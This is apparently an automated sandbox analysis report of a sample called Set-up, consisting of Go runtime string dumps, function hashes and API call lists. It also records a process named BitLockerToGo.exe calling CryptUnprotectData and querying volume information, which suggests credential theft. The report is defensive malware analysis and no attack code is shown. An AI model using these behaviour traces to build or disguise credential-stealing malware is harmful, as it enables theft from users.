Associated: 00000000.00000002.1941623048.00000000010D8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941623048.00000000010F4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941623048.00000000010F9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941747349.00000000010FC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941765596.00000000010FD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941765596.0000000001111000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d40000_Set-up.jbxd

Similarity

API ID:
String ID: , bound = , limit = /dev/stdin012345678912207031256103515625AdditionalAssemblyOSBad varintC:\WindowsCancelIoExChorasmianClassCHAOSClassCSNETCreateFileCreatePipeDSA-SHA256DeprecatedDevanagariDispInvokeDnsQuery_WECDSA-SHA1Exception GC forcedGOMAXPROCSGetIfEntry$, size = , tail = -07:00:00244140625: status=AuthorityBassa_VahBhaiksukiClassINETCuneiformDiacriticExceptionFindCloseGlobalPtrHex_DigitInheritedInterfaceKhudawadiLocalFreeMalayalamMemberRefMethodDefMethodPtrModuleRefMongolianMoveFileWNabataeanPalmyreneParseUin$range partially overlaps resource length too longrunqsteal: runq overflowruntime: VirtualFree of runtime: found obj at *(runtime: markroot index runtime: p.searchAddr = span has no free objectsstack trace unavailablestructure needs clea$runtime: addr = runtime: base = runtime: gp: gp=runtime: head = runtime: nelems=schedule: in cgotime: bad [0-9]*timeBeginPeriod
API String ID: 0-3922939405
Opcode ID: 6eb80583767ae8ba230b38cca11778b0290939dc265b9da5e86401e1a235f884
Instruction ID: c66649acb47841d8375c6af573a787fa1a1fef2efc30568c301824ef1acfacb7
Opcode Fuzzy Hash: 6eb80583767ae8ba230b38cca11778b0290939dc265b9da5e86401e1a235f884
Instruction Fuzzy Hash: 033105B4509B098FC700EF64D18565EBBE1FF88704F85C86DE4898B356E7B498489B73

Function 00D6795F Relevance: 5.1, Strings: 4, Instructions: 75COMMON

Download Yara Rule

Strings

][]i)msnss us|0|1} G M P ) *( - < > m= n=%25%: ***+00+01+03+04+05+06+07+08+09+10+11+12+13+14-01-02-03-04-05-06-08-09-11-12...///125625:\/???ADTASTAprAugBSTCATCDTCETCLRCSTDSADecDltE (EATEDTEETEOFESTFPOFebFriGMTHDTHSTHanIATIDTISTJSTJanJulJunKSTLaoMD4MD5, xrefs: 00D67992
), ->//000X0b0o0x25: ; =#> CNCcCfCoCsLlLmLoLtLuMcMeMnNdNlNoOUPcPdPePfPiPoPsR8R9STScSkSmSoYiZlZpZs")"\* ][]i)msnss us|0|1} G M P ) *( - < > m= n=%25%: ***+00+01+03+04+05+06+07+08+09+10+11+12+13+14-01-02-03-04-05-06-08-09-11-12...///125625:\/???ADT, xrefs: 00D67A42
, ->//000X0b0o0x25: ; =#> CNCcCfCoCsLlLmLoLtLuMcMeMnNdNlNoOUPcPdPePfPiPoPsR8R9STScSkSmSoYiZlZpZs")"\* ][]i)msnss us|0|1} G M P ) *( - < > m= n=%25%: ***+00+01+03+04+05+06+07+08+09+10+11+12+13+14-01-02-03-04-05-06-08-09-11-12...///125625:\/???ADTAS, xrefs: 00D679EE, 00D67A18
runtime: summary[runtime: textOff runtime: typeOff scanobject n == 0select (no cases)stack: frame={sp:swept cached spanthread exhaustionunknown caller pcunknown type kindwait for GC cyclewine_get_version, xrefs: 00D67968

Memory Dump Source

Source File: 00000000.00000002.1940028088.0000000000D41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000000.00000002.1939841536.0000000000D40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1940432962.0000000000EF6000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1940432962.0000000000FE4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1940432962.0000000000FF1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1940432962.0000000000FF6000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1940432962.0000000000FFB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941361616.00000000010B1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941400778.00000000010B6000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941464809.00000000010B7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941491717.00000000010B8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941570188.00000000010C9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941596695.00000000010CA000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941623048.00000000010CC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941623048.00000000010D4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941623048.00000000010D8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941623048.00000000010F4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941623048.00000000010F9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941747349.00000000010FC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941765596.00000000010FD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941765596.0000000001111000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d40000_Set-up.jbxd

Similarity

API ID:
String ID: ), ->//000X0b0o0x25: ; =#> CNCcCfCoCsLlLmLoLtLuMcMeMnNdNlNoOUPcPdPePfPiPoPsR8R9STScSkSmSoYiZlZpZs")"\* ][]i)msnss us|0|1} G M P ) *( - < > m= n=%25%: ***+00+01+03+04+05+06+07+08+09+10+11+12+13+14-01-02-03-04-05-06-08-09-11-12...///125625:\/???ADT$, ->//000X0b0o0x25: ; =#> CNCcCfCoCsLlLmLoLtLuMcMeMnNdNlNoOUPcPdPePfPiPoPsR8R9STScSkSmSoYiZlZpZs")"\* ][]i)msnss us|0|1} G M P ) *( - < > m= n=%25%: ***+00+01+03+04+05+06+07+08+09+10+11+12+13+14-01-02-03-04-05-06-08-09-11-12...///125625:\/???ADTAS$][]i)msnss us|0|1} G M P ) *( - < > m= n=%25%: ***+00+01+03+04+05+06+07+08+09+10+11+12+13+14-01-02-03-04-05-06-08-09-11-12...///125625:\/???ADTASTAprAugBSTCATCDTCETCLRCSTDSADecDltE (EATEDTEETEOFESTFPOFebFriGMTHDTHSTHanIATIDTISTJSTJanJulJunKSTLaoMD4MD5$runtime: summary[runtime: textOff runtime: typeOff scanobject n == 0select (no cases)stack: frame={sp:swept cached spanthread exhaustionunknown caller pcunknown type kindwait for GC cyclewine_get_version
API String ID: 0-3450498712
Opcode ID: aaf1f55999d20e57357d0e7b4e2314291e238ef3ae1bd4bdd73f07f6d0e3c836
Instruction ID: aba63913d4eaf23673d60567541f166d8c8294a35e81118b22d7f91040127bde
Opcode Fuzzy Hash: aaf1f55999d20e57357d0e7b4e2314291e238ef3ae1bd4bdd73f07f6d0e3c836
Instruction Fuzzy Hash: 263195B4509B048FD300EF54E18576EFBE5FB88704F44892DE88997316E7B4A9449B63

Function 00D58D90 Relevance: 5.1, Strings: 4, Instructions: 73COMMON

Download Yara Rule

Strings

status %!Month(2.5.4.102.5.4.112.5.4.1748828125AcceptExArmenianAssemblyBalineseBopomofoBugineseCancelIoCherokeeClassANYCodeViewConstantCyrillicDNS nameDSA-SHA1DecemberDuployanEqualSidEthiopicEventMapEventPtrExtenderFebruaryFieldPtrFieldRVAFullPathGeorgianGoSt, xrefs: 00D58E4C
goid jobs= list= m->p= max= min= next= p->m= prev= span=% util(...), i = , not .reloc390625<-chanAnswerArabicAugustBrahmiCarianChakmaCommonCopticENCLogENCMapExpectExportFlags=FormatFridayGOROOTGetACPGothicHangulHatranHebrewHyphenIgnoreImportKaithiKhojkiLe, xrefs: 00D58E22
gcscandone m->gsignal= nDataRoots= nSpanRoots= pages/byte preemptoff= s.elemsize= s.sweepgen= span.limit= span.state= sysmonwait= wbuf1=<nil> wbuf2=<nil>%!(BADWIDTH)) p->status=, cons/mark -byte limit152587890625762939453125Align 1-ByteArchitectureBidi_Con, xrefs: 00D58E76
scan missed a gstartm: m has pstopm holding punknown Go type already; errno= mheap.sweepgen= not in ranges: untyped locals , not a function0123456789ABCDEF0123456789abcdef2384185791015625: value of type AddDllDirectory, xrefs: 00D58EA3

Memory Dump Source

Source File: 00000000.00000002.1940028088.0000000000D41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000000.00000002.1939841536.0000000000D40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1940432962.0000000000EF6000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1940432962.0000000000FE4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1940432962.0000000000FF1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1940432962.0000000000FF6000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1940432962.0000000000FFB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941361616.00000000010B1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941400778.00000000010B6000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941464809.00000000010B7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941491717.00000000010B8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941570188.00000000010C9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941596695.00000000010CA000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941623048.00000000010CC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941623048.00000000010D4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941623048.00000000010D8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941623048.00000000010F4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941623048.00000000010F9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941747349.00000000010FC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941765596.00000000010FD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941765596.0000000001111000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d40000_Set-up.jbxd

Similarity

API ID:
String ID: gcscandone m->gsignal= nDataRoots= nSpanRoots= pages/byte preemptoff= s.elemsize= s.sweepgen= span.limit= span.state= sysmonwait= wbuf1=<nil> wbuf2=<nil>%!(BADWIDTH)) p->status=, cons/mark -byte limit152587890625762939453125Align 1-ByteArchitectureBidi_Con$ goid jobs= list= m->p= max= min= next= p->m= prev= span=% util(...), i = , not .reloc390625<-chanAnswerArabicAugustBrahmiCarianChakmaCommonCopticENCLogENCMapExpectExportFlags=FormatFridayGOROOTGetACPGothicHangulHatranHebrewHyphenIgnoreImportKaithiKhojkiLe$ status %!Month(2.5.4.102.5.4.112.5.4.1748828125AcceptExArmenianAssemblyBalineseBopomofoBugineseCancelIoCherokeeClassANYCodeViewConstantCyrillicDNS nameDSA-SHA1DecemberDuployanEqualSidEthiopicEventMapEventPtrExtenderFebruaryFieldPtrFieldRVAFullPathGeorgianGoSt$scan missed a gstartm: m has pstopm holding punknown Go type already; errno= mheap.sweepgen= not in ranges: untyped locals , not a function0123456789ABCDEF0123456789abcdef2384185791015625: value of type AddDllDirectory
API String ID: 0-120346602
Opcode ID: a54c51f345b6bf3c5989ad544a4ad5aba58a044f9c60310694afbfbfbb8a72c5
Instruction ID: c6610ebc1896fc90a080d5bb0907f7093a39455d76796020e42fa437e9471f57
Opcode Fuzzy Hash: a54c51f345b6bf3c5989ad544a4ad5aba58a044f9c60310694afbfbfbb8a72c5
Instruction Fuzzy Hash: FE31F3B4508B448FC700EF24D18166ABBE1FF84700F84886EE8D887356E7749948DB73

Function 00D77C80 Relevance: 5.1, Strings: 4, Instructions: 51COMMON

Download Yara Rule

Strings

newval= nfreed= pointer stack=[ status %!Month(2.5.4.102.5.4.112.5.4.1748828125AcceptExArmenianAssemblyBalineseBopomofoBugineseCancelIoCherokeeClassANYCodeViewConstantCyrillicDNS nameDSA-SHA1DecemberDuployanEqualSidEthiopicEventMapEventPtrExtenderFebruaryFiel, xrefs: 00D77D09
!, xrefs: 00D77CE8
castogscanstatuscontext canceleddivision by zerogc: unswept spangcshrinkstackoffgetprotobynumberinteger overflowinvalid argumentinvalid encodinginvalid exchangeinvalid g statuslength too largemSpanList.insertmSpanList.removemessage too longmissing stackmapnewm, xrefs: 00D77D3D
runtime: castogscanstatus oldval=runtime: failed mSpanList.insert runtime: failed to decommit pagesruntime: goroutine stack exceeds runtime: memory allocated by OS [runtime: name offset out of rangeruntime: text offset out of rangeruntime: type offset out of r, xrefs: 00D77CDF

Memory Dump Source

Source File: 00000000.00000002.1940028088.0000000000D41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000000.00000002.1939841536.0000000000D40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1940432962.0000000000EF6000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1940432962.0000000000FE4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1940432962.0000000000FF1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1940432962.0000000000FF6000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1940432962.0000000000FFB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941361616.00000000010B1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941400778.00000000010B6000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941464809.00000000010B7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941491717.00000000010B8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941570188.00000000010C9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941596695.00000000010CA000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941623048.00000000010CC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941623048.00000000010D4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941623048.00000000010D8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941623048.00000000010F4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941623048.00000000010F9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941747349.00000000010FC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941765596.00000000010FD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941765596.0000000001111000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d40000_Set-up.jbxd

Similarity

API ID:
String ID: newval= nfreed= pointer stack=[ status %!Month(2.5.4.102.5.4.112.5.4.1748828125AcceptExArmenianAssemblyBalineseBopomofoBugineseCancelIoCherokeeClassANYCodeViewConstantCyrillicDNS nameDSA-SHA1DecemberDuployanEqualSidEthiopicEventMapEventPtrExtenderFebruaryFiel$!$castogscanstatuscontext canceleddivision by zerogc: unswept spangcshrinkstackoffgetprotobynumberinteger overflowinvalid argumentinvalid encodinginvalid exchangeinvalid g statuslength too largemSpanList.insertmSpanList.removemessage too longmissing stackmapnewm$runtime: castogscanstatus oldval=runtime: failed mSpanList.insert runtime: failed to decommit pagesruntime: goroutine stack exceeds runtime: memory allocated by OS [runtime: name offset out of rangeruntime: text offset out of rangeruntime: type offset out of r
API String ID: 0-1438149499
Opcode ID: b50b174666ffc37ee0aeca2263a9ab85e986e0814d9a2ffbe12d3727b147bdb8
Instruction ID: c1d06dbea1a988c1436ebfa43e9a0b1739f8f559708c8f17305479f6e8f24ce5
Opcode Fuzzy Hash: b50b174666ffc37ee0aeca2263a9ab85e986e0814d9a2ffbe12d3727b147bdb8
Instruction Fuzzy Hash: A61103B45087499FD301EF24D18576EBBE0EF84700F848C2DE4888B252EBB498489B73

Function 00D6DEC0 Relevance: 5.0, Strings: 4, Instructions: 50COMMON

Download Yara Rule

Strings

) *( - < > m= n=%25%: ***+00+01+03+04+05+06+07+08+09+10+11+12+13+14-01-02-03-04-05-06-08-09-11-12...///125625:\/???ADTASTAprAugBSTCATCDTCETCLRCSTDSADecDltE (EATEDTEETEOFESTFPOFebFriGMTHDTHSTHanIATIDTISTJSTJanJulJunKSTLaoMD4MD5MDTMPXMSKMSTMarMayMonMroNDTNS, xrefs: 00D6DF77
runtime: netpoll: PostQueuedCompletionStatus failed (errno= abiRegArgsType needs GC Prog, update methodValueCallFrameObjsoffset parameter must be a multiple of the system's page sizex509: failed to parse URI constraint %q: cannot be IP addressx509: internal er, xrefs: 00D6DF4D
runtime: netpoll: PostQueuedCompletionStatus failedx509: certificate has expired or is not yet valid: ConvertSecurityDescriptorToStringSecurityDescriptorWConvertStringSecurityDescriptorToSecurityDescriptorWFileAlignment larger than 0x200 and not a power of 2` , xrefs: 00D6DF92
3, xrefs: 00D6DF9B

Memory Dump Source

Source File: 00000000.00000002.1940028088.0000000000D41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000000.00000002.1939841536.0000000000D40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1940432962.0000000000EF6000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1940432962.0000000000FE4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1940432962.0000000000FF1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1940432962.0000000000FF6000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1940432962.0000000000FFB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941361616.00000000010B1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941400778.00000000010B6000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941464809.00000000010B7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941491717.00000000010B8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941570188.00000000010C9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941596695.00000000010CA000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941623048.00000000010CC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941623048.00000000010D4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941623048.00000000010D8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941623048.00000000010F4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941623048.00000000010F9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941747349.00000000010FC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941765596.00000000010FD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941765596.0000000001111000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d40000_Set-up.jbxd

Similarity

API ID:
String ID: ) *( - < > m= n=%25%: ***+00+01+03+04+05+06+07+08+09+10+11+12+13+14-01-02-03-04-05-06-08-09-11-12...///125625:\/???ADTASTAprAugBSTCATCDTCETCLRCSTDSADecDltE (EATEDTEETEOFESTFPOFebFriGMTHDTHSTHanIATIDTISTJSTJanJulJunKSTLaoMD4MD5MDTMPXMSKMSTMarMayMonMroNDTNS$3$runtime: netpoll: PostQueuedCompletionStatus failed (errno= abiRegArgsType needs GC Prog, update methodValueCallFrameObjsoffset parameter must be a multiple of the system's page sizex509: failed to parse URI constraint %q: cannot be IP addressx509: internal er$runtime: netpoll: PostQueuedCompletionStatus failedx509: certificate has expired or is not yet valid: ConvertSecurityDescriptorToStringSecurityDescriptorWConvertStringSecurityDescriptorToSecurityDescriptorWFileAlignment larger than 0x200 and not a power of 2`
API String ID: 0-736920523
Opcode ID: c8d057799eaee43e50f0d3a176b2e8a3f371a1a8c7fc349e2049c01aabe775fb
Instruction ID: bd3f58626d982d066206720771c8fad9485f14416a60df0ed6201432b664188c
Opcode Fuzzy Hash: c8d057799eaee43e50f0d3a176b2e8a3f371a1a8c7fc349e2049c01aabe775fb
Instruction Fuzzy Hash: 5021D3B45097058FD300EF24E19576ABBE5EF84744F84881DF8C887292E7B99948DBB3

Function 00D43DC0 Relevance: 5.0, Strings: 4, Instructions: 35COMMON

Download Yara Rule

Strings

to non-Go memory , locked to thread2980232238769531254e45544672616d6577: day out of rangeArab Standard TimeBSTR_UserUnmarshalCM_MapCrToWin32ErrCaucasian_AlbanianCertGetNameStringWCloseServiceHandleCommandLineToArgvWCreateDispTypeInfoCreateFileMappingWCreateWe, xrefs: 00D43E16
$, xrefs: 00D43E53
Go pointer stored into non-Go memoryIA5String contains invalid characterPower PC with floating point supportThunk Address Of Data too spread outUnable to determine system directoryaccessing a corrupted shared librarybytes.Reader.ReadAt: negative offsetbytes.Re, xrefs: 00D43E4A
write of Go pointer ws2_32.dll not foundx509: malformed spkizlib: invalid header of unexported method pcHeader.textStart= previous allocCount=, levelBits[level] = 186264514923095703125931322574615478515625AdjustTokenPrivilegesAlaskan Standard TimeAnatolian_Hi, xrefs: 00D43DEC

Memory Dump Source

Source File: 00000000.00000002.1940028088.0000000000D41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000000.00000002.1939841536.0000000000D40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1940432962.0000000000EF6000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1940432962.0000000000FE4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1940432962.0000000000FF1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1940432962.0000000000FF6000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1940432962.0000000000FFB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941361616.00000000010B1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941400778.00000000010B6000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941464809.00000000010B7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941491717.00000000010B8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941570188.00000000010C9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941596695.00000000010CA000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941623048.00000000010CC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941623048.00000000010D4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941623048.00000000010D8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941623048.00000000010F4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941623048.00000000010F9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941747349.00000000010FC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941765596.00000000010FD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941765596.0000000001111000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d40000_Set-up.jbxd

Similarity

API ID:
String ID: to non-Go memory , locked to thread2980232238769531254e45544672616d6577: day out of rangeArab Standard TimeBSTR_UserUnmarshalCM_MapCrToWin32ErrCaucasian_AlbanianCertGetNameStringWCloseServiceHandleCommandLineToArgvWCreateDispTypeInfoCreateFileMappingWCreateWe$$$Go pointer stored into non-Go memoryIA5String contains invalid characterPower PC with floating point supportThunk Address Of Data too spread outUnable to determine system directoryaccessing a corrupted shared librarybytes.Reader.ReadAt: negative offsetbytes.Re$write of Go pointer ws2_32.dll not foundx509: malformed spkizlib: invalid header of unexported method pcHeader.textStart= previous allocCount=, levelBits[level] = 186264514923095703125931322574615478515625AdjustTokenPrivilegesAlaskan Standard TimeAnatolian_Hi
API String ID: 0-842866254
Opcode ID: b03a558e8ba46e1191eb05a5cef22d4e242200f4e8147c1ff8ac22d7a91bc5f0
Instruction ID: 30dcb63d76782b2eb0b92d7cdec4689e4cac6f4ce1937c3d653a18c1d70e8fb6
Opcode Fuzzy Hash: b03a558e8ba46e1191eb05a5cef22d4e242200f4e8147c1ff8ac22d7a91bc5f0
Instruction Fuzzy Hash: 9C01D3B4408B059FC700FF64E18576ABBE1FB44700F84C92DE8888B252E7B59844EB73

Analysis Process: BitLockerToGo.exePID: 7020, Parent PID: 5800COMMON

Execution Graph

Execution Coverage:	9.8%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	20.7%
Total number of Nodes:	392
Total number of Limit Nodes:	33

Executed Functions

Function 00438860 Relevance: 32.2, APIs: 11, Strings: 7, Instructions: 666
memorycomCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CoCreateInstance.OLE32(0044368C,00000000,00000001,0044367C), ref: 00438AE7
SysAllocString.OLEAUT32(k2`0), ref: 00438B60
CoSetProxyBlanket.COMBASE(?,0000000A,00000000,00000000,00000003,00000003,00000000,00000000), ref: 00438B9D
SysAllocString.OLEAUT32(07B705B3), ref: 00438BEA
SysAllocString.OLEAUT32(09C50FBD), ref: 00438CAD
VariantInit.OLEAUT32(EFEEEDF4), ref: 00438D1C
VariantClear.OLEAUT32(?), ref: 00438E8F
SysFreeString.OLEAUT32(?), ref: 00438EB3
SysFreeString.OLEAUT32(?), ref: 00438EB9
SysFreeString.OLEAUT32(00000000), ref: 00438EC6
GetVolumeInformationW.KERNELBASE(?,00000000,00000000,?,00000000,00000000,00000000,00000000), ref: 00438EFA

Strings

k2`0, xrefs: 00438B5B, 00438B5F
b>c<, xrefs: 00438AFD
x;, xrefs: 00438C34
]E, xrefs: 00439062
,./,, xrefs: 00438947
S, xrefs: 00438C24
]E, xrefs: 00438C2C

Memory Dump Source

Source File: 00000003.00000002.2414248167.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2414248167.0000000000453000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_BitLockerToGo.jbxd

Similarity

API ID: String$AllocFree$Variant$BlanketClearCreateInformationInitInstanceProxyVolume
String ID: ,./,$S$]E$]E$b>c<$k2`0$x;
API String ID: 2573436264-4038474941
Opcode ID: 31b644112a68f3d18aacb8b5db5a05eceaae594e11df8e9f15bced72581e9853
Instruction ID: 6e5b62aa8b1ec0da306810ad309870e49cdd1aa0d64757ab7dc6e3fbd6c770b3
Opcode Fuzzy Hash: 31b644112a68f3d18aacb8b5db5a05eceaae594e11df8e9f15bced72581e9853
Instruction Fuzzy Hash: 3122EFB66083419BD310CF28C885B6BBBE5EFC9314F14892DF595DB2A0DB79D805CB86

Function 00419362 Relevance: 17.9, APIs: 1, Strings: 9, Instructions: 390
encryptionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0043D910: LdrInitializeThunk.NTDLL(004409B8,00000002,0000002C,?,?,00000018,?,00000000,?,?,?,?,00000000,00000000), ref: 0043D93E

CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000000,?), ref: 004197EB

Strings

x">*, xrefs: 00419430
D$p, xrefs: 004195C2
14'", xrefs: 00419470
-&64, xrefs: 00419544
?7?0, xrefs: 0041950D
*8$), xrefs: 00419523
#1!%, xrefs: 00419539
e, xrefs: 0041955A
'>0=, xrefs: 0041952E

Memory Dump Source

Source File: 00000003.00000002.2414248167.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2414248167.0000000000453000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_BitLockerToGo.jbxd

Similarity

API ID: CryptDataInitializeThunkUnprotect
String ID: #1!%$'>0=$*8$)$-&64$14'"$?7?0$e$x">*$D$p
API String ID: 279577407-4262920783
Opcode ID: 432f6f01f6f39532e5583c1ea13b867eeb044dab6d0921c5a80d4da759cddaac
